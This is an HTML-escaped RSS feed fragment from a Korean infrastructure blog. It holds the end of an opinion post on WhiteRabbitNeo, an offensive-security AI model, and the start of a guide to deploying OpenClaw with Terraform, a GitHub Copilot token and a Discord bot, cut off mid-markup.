&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JndEE/dJMcacXyAnK/adtEGyhWINxEj6flbkLHa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JndEE/dJMcacXyAnK/adtEGyhWINxEj6flbkLHa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JndEE/dJMcacXyAnK/adtEGyhWINxEj6flbkLHa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJndEE%2FdJMcacXyAnK%2FadtEGyhWINxEj6flbkLHa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;422&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;대중은 대형 범용 AI 모델에 적용된 강력한 윤리적 검열과 안전장치를 환영하지만, 보안 실무자들의 입장은 이와 다르다. &lt;b&gt;WhiteRabbitNeo&lt;/b&gt;의 주요 후원사이자 생성형 AI 오케스트레이션 전문 기업인 Kindo의 제품 부사장 앤디 마노스케(Andy Manoske)는 &quot;이러한 검열은 방어자가 자사 인프라에 대해 심도 있는 보안 질문조차 할 수 없게 만든다는 것을 의미한다&quot;고 지적했다. 현대의 거대 언어 모델(LLM)은 모의 침투(Pentesting)를 훌륭하게 지원할 능력을 갖추고 있지만, 주요 상용 모델들은 정책적으로 이를 철저히 차단하고 있기 때문이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;마노스케의 설명에 따르면, &lt;b&gt;WhiteRabbitNeo&lt;/b&gt;는 철저히 '공격적 보안(Offensive Security)'을 위해 탄생한 생성형 AI 모델이다. 이 모델의 진정한 목적은 보안 팀이 자사 인프라를 면밀히 점검하고, 실제 악용 가능한 취약점을 찾아내어(직접 익스플로잇을 개발해 봄으로써), 그에 대한 가장 확실한 해결책을 마련하도록 돕는 데 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;이번 기회에 WhiteRabbitNeo와 같은 모델을 직접 찾아보고 테스트 환경을 구축하게 된 결정적인 이유 역시, 보안을 깊이 있게 공부하는 입장에서 마주한 '검열의 한계' 때문이었다. 현재 몇몇 범용 AI 에이전트들이 교육 목적으로 기초적인 보안 지식을 제공하고 있기는 하다. 그러나 이들이 허용하는 답변은 철저히 방어(블루팀)의 관점과 이론적인 수준에 편중되어 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;진정한 사이버 보안 역량을 기르기 위해서는 블루팀뿐만 아니라, 실제 시스템을 타격하는 레드팀의 기법을 포함해 보안의 전 분야를 입체적으로 공부해야만 한다고 생각한다. 공격자가 어떤 원리로 취약점을 찌르고 시스템을 장악하는지 그 로우레벨(Low-level)의 흐름을 이해하지 못하면, 절대 견고한 방어 체계를 구축할 수 없기 때문이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;결국 다가오는 사이버 보안의 미래는 막강한 AI 역량이 무분별하게 확산되는 구조적 한계를 안고 있다. 누구나 강력한 해킹 AI를 로컬에 구축할 수 있는 시대에, 방어자에게 남은 선택지는 단 하나다. 공격자들보다 한발 앞서 이 날카로운 양날의 검을 손에 쥐고, '방어자의 AI'로 '공격자의 AI'에 맞서는 냉혹한 무한 경쟁에 뛰어드는 것이다.&lt;/p&gt;</description>
      <category>AI/Agent</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/252</guid>
      <comments>https://noong2.tistory.com/252#entry252comment</comments>
      <pubDate>Thu, 28 May 2026 05:50:49 +0900</pubDate>
    </item>
    <item>
      <title>OpenClaw 환경 구축기 (GitHub Copilot 및 Paperclip 연동)</title>
      <link>https://noong2.tistory.com/250</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;708&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrbBDO%2FdJMcai3PLd2%2FTcXuaJqUSTSRaIs5Rjlsk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;336&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;해당 글은 &lt;b&gt;Terraform&lt;/b&gt;을 통한 OpenClaw &lt;b&gt;설치 환경&lt;/b&gt;을 보여줍니다.&lt;br /&gt;&lt;b&gt;직접 타이핑&lt;/b&gt;하여 세팅하셔도 되고, &lt;b&gt;Docker&lt;/b&gt;를 사용하셔도 좋습니다.&lt;br /&gt;개인적으로&lt;b&gt; Docker&lt;/b&gt;가 가장 편안 선택지 아닐까 싶습니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;Terraform 설치&lt;/b&gt;와&lt;b&gt; Oracle Cloud&lt;/b&gt;&amp;nbsp;&lt;b&gt;인프라 구성&lt;/b&gt;은 해당 글을 참고 하시길 바랍니다.&lt;br /&gt;&lt;b&gt; 로컬&lt;/b&gt;에 구축하셔도 좋고, 따로 &lt;b&gt;개인 서버&lt;/b&gt; 돌리셔도 됩니다.&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;https://noong2.tistory.com/249&quot; target=&quot;_self&quot;&gt;&lt;span&gt;Terraform 활용한 Oracle Cloud 인스턴스 생성 &amp;mdash; 눙이의 인프라 메모장&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;Terraform 활용한 Oracle Cloud 인스턴스 생성&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서 지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하&quot; data-og-host=&quot;noong2.tistory.com&quot; data-og-source-url=&quot;https://noong2.tistory.com/249&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/MVNCG/dJMb88688nG/AAAAAAAAAAAAAAAAAAAAAOEiw9qABmJqtY0hdAx59V2Hmp3ixm33-_vjV5oBvswr/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=cXLsG5kfzoEEWCmJh9bQ3t12shc%3D&quot; data-og-url=&quot;https://noong2.tistory.com/249&quot;&gt;&lt;a href=&quot;https://noong2.tistory.com/249&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://noong2.tistory.com/249&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/MVNCG/dJMb88688nG/AAAAAAAAAAAAAAAAAAAAAOEiw9qABmJqtY0hdAx59V2Hmp3ixm33-_vjV5oBvswr/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=cXLsG5kfzoEEWCmJh9bQ3t12shc%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Terraform 활용한 Oracle Cloud 인스턴스 생성&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서 지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;noong2.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;GitHub Copilot&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;GPT 모델&lt;/b&gt;을 무료로 사용하기 위해서는 &lt;b&gt;GitHub Education&lt;/b&gt; 계정이 필요합니다.&lt;br /&gt;만 13세 이상의 &lt;b&gt;중학생&lt;/b&gt;부터 &lt;b&gt;대학생, 교사&lt;/b&gt; 신분이시라면&amp;nbsp;날짜가 명시된 &lt;b&gt;재학증명서&lt;/b&gt;을 통해서 신청이 가능합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;https://github.com/education?locale=ko-kr&quot; target=&quot;_self&quot;&gt;&lt;span&gt;GitHub Education&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;GitHub Education&quot; data-ke-align=&quot;alignCenter&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/education?locale=ko-kr&quot; data-og-url=&quot;https://github.com/education?locale=ko-kr&quot;&gt;&lt;a href=&quot;https://github.com/education?locale=ko-kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/education?locale=ko-kr&quot;&gt;
&lt;div class=&quot;og-image&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Education&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;학생 신분&lt;/b&gt;에 해당이 안된다면, &lt;b&gt;월 $10&lt;/b&gt;으로 이용이 가능하겠습니다.&lt;br /&gt;저는 &lt;b&gt;학생 계정&lt;/b&gt;이지만&lt;b&gt; Claude Opus&lt;/b&gt; 사용할것이기 때문에&lt;b&gt; Pro 플랜&lt;/b&gt;을 구독하였습니다.&lt;br /&gt;&lt;br /&gt;이것 또한 부담이 되신다면, &lt;b&gt;사양 좋은 로컬 환경&lt;/b&gt;에&lt;b&gt; vLLM&lt;/b&gt;이나&lt;br /&gt;무료 모델인 &lt;b&gt;qwen3-coder:free&lt;/b&gt; 사용도 하나의 대안입니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Github&lt;/b&gt; 전체 요금제에 대한 비교 항목입니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot; target=&quot;_self&quot;&gt;&lt;span&gt;GitHub 코필로트 계획 - GitHub 문서&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;GitHub 코필로트 계획 - GitHub 문서&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;Copilot에 사용 가능한 플랜에 대해 알아보세요.&quot; data-og-host=&quot;docs.github.com&quot; data-og-source-url=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/deKj6v/dJMb8SpIhY3/AAAAAAAAAAAAAAAAAAAAAPjywDDUsMsy5U75LWHB7ppt398l1LyZP-fpSP0pMECm/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=s39sTvmrSGyELh8iFXKjPAYf%2B68%3D&quot; data-og-url=&quot;https://docs-internal.github.com/ko/copilot/get-started/plans&quot;&gt;&lt;a href=&quot;https://docs-internal.github.com/ko/copilot/get-started/plans&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/deKj6v/dJMb8SpIhY3/AAAAAAAAAAAAAAAAAAAAAPjywDDUsMsy5U75LWHB7ppt398l1LyZP-fpSP0pMECm/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=s39sTvmrSGyELh8iFXKjPAYf%2B68%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub 코필로트 계획 - GitHub 문서&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Copilot에 사용 가능한 플랜에 대해 알아보세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;Github&lt;/b&gt; 플랜에 구독 하셨다면, &lt;b&gt;OpenClaw&lt;/b&gt; 연동을 위한 &lt;b&gt;키 발급&lt;/b&gt;이 필요합니다.&lt;br /&gt;&lt;b&gt;Github&lt;/b&gt;에 로그인 하셔서 다음 과정을 진행합니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; data-alt=&quot;프로필 아이콘 - Settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB6F1P%2FdJMcabDHLrl%2Fyd4UZHIghIvVSDKVX0jKLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;938&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로필 아이콘 - Settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; data-alt=&quot;Developer settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedzyFU%2FdJMcahKHc16%2F4uyDY6bgZPOV0NzH0tEAV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;82&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Developer settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;176&quot; style=&quot;width: 57.3008%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaiW68%2FdJMcaibL30W%2F0UKvnTIt20GgN33oSc3Ly1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;296&quot; style=&quot;width: 41.5364%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHosSS%2FdJMcaiQjwe1%2FIgRqX3YH6WzfBfBTgmo2Z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Personal access tokens - Tokens (classic)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;180&quot; style=&quot;width: 57.162%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyBT0l%2FdJMcagrsFfn%2FkHi3KzIhfWaqpuKvhahhC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;808&quot; style=&quot;width: 41.6752%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqjG8q%2FdJMcabqbB7K%2ForoJbIruLHssmLZHAxXhbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;808&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Copilot 선택 후 Generate token&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; data-alt=&quot;키 값을 복사하여 따로 메모해둡니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdxjOza%2FdJMcajhnSWo%2FaPUM0alE2gmU3tEMfVlUy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;130&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;키 값을 복사하여 따로 메모해둡니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;토큰&lt;/b&gt;은 생성 직후 한 번만 보여주며, 놓치면 &lt;b&gt;재발급&lt;/b&gt;해야 합니다.&lt;br /&gt;발급한 토큰은 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;llm_api_key&lt;/b&gt;에 넣을 예정입니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;Discord&amp;nbsp;봇&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;에이전트 소통을 위한 &lt;b&gt;Discode 봇&lt;/b&gt;을 생성합니다.&lt;br /&gt;&lt;b&gt;텔레그램&lt;/b&gt;이나 &lt;b&gt;슬랙&lt;/b&gt;같은 다른 메신저 앱도 연동이 가능합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span&gt;https://discord.com/developers/applications&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;Discord for Developers&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;Build games, experiences, and integrations for millions of users on Discord.&quot; data-og-host=&quot;discord.com&quot; data-og-source-url=&quot;https://discord.com/developers/applications&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/bo6SUR/dJMb9gxlJUb/AAAAAAAAAAAAAAAAAAAAAH_YlWsIifO9AfWSMUA8v7Xzdr63ygirBJ-GboL3tRgj/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=TY8Wg3ZovaMB59fdCzjqTNH6d5c%3D&quot; data-og-url=&quot;https://discord.com/developers/applications&quot;&gt;&lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://discord.com/developers/applications&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/bo6SUR/dJMb9gxlJUb/AAAAAAAAAAAAAAAAAAAAAH_YlWsIifO9AfWSMUA8v7Xzdr63ygirBJ-GboL3tRgj/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=TY8Wg3ZovaMB59fdCzjqTNH6d5c%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Discord for Developers&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Build games, experiences, and integrations for millions of users on Discord.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;discord.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;598&quot; style=&quot;width: 47.8341%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcchePH%2FdJMcagE1430%2FBJ69hThiLXyKeMhNpiTLz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 